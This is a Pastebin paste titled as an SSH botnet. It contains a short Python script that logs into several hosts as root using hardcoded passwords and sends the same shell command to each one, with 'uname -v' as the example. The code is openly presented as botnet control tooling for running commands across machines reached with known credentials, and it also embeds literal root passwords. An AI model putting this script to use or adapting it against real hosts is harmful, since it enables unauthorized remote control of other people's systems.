Advertisement
ProgrammerOnOFW

Kiss_hoes ssh botnet By DizzyDox

May 16th, 2018
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | None | 0 0
  1. from pexpect import pxssh
  2. from docopt import docopt
  3. from colorama import Fore, init
  4.  
  5.  
  6. class Client: #Creating "Client" as a class.
  7.  
  8. def __init__(self, host, user, password): #Defiing the initializer, while taking four arguements.
  9. self.host = host
  10. self.user = user
  11. self.password = password
  12. self.session = self.connect()
  13.  
  14. def connect(self):
  15. try:
  16. x = pxssh.pxssh() #The letter "x" is assigned as a class variable for the pxssh module.
  17. x.login(self.host, self.user, self.password) #Calling the method "x.login".
  18. return x
  19.  
  20. except Exception as e:
  21. print (Fore.RED + '[-] Error Connecting' + Fore.RESET)
  22. print (e)
  23.  
  24. def send_command(self, cmd): #Defining the "send_command".
  25. self.session.sendline(cmd)
  26. self.session.prompt()
  27. return self.session.before
  28.  
  29. def botnet_command(command, botnet): #Defineing the "botnet_command".
  30. for client in botnet: #The commands are executed for "client in botnet".
  31. output = client.send_command(command)
  32. print (Fore.GREEN + '[*] Output from ' + client.host + Fore.RESET)
  33. print ('[+] ' + output + '\n')
  34.  
  35. def add_client(host, user, password, botnet): # Defining function to allow "client" to be added.
  36. client = Client(host, user, password)
  37. botnet.append(client)
  38.  
  39. def main():
  40.  
  41. botnet = []
  42. add_client('127.0.0.1', 'root', 'Shady1000!', botnet)
  43. add_client('10.10.10.120', 'root', 'toor', botnet)
  44. add_client('10.10.10.130', 'root', 'toor', botnet)
  45.  
  46. botnet_command('uname -v', botnet)
  47.  
  48.  
  49. if __name__ == '__main__':
  50.  
  51. init()
  52. docopt(__doc__, version='Serpent.py VER.-1.0')
  53. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement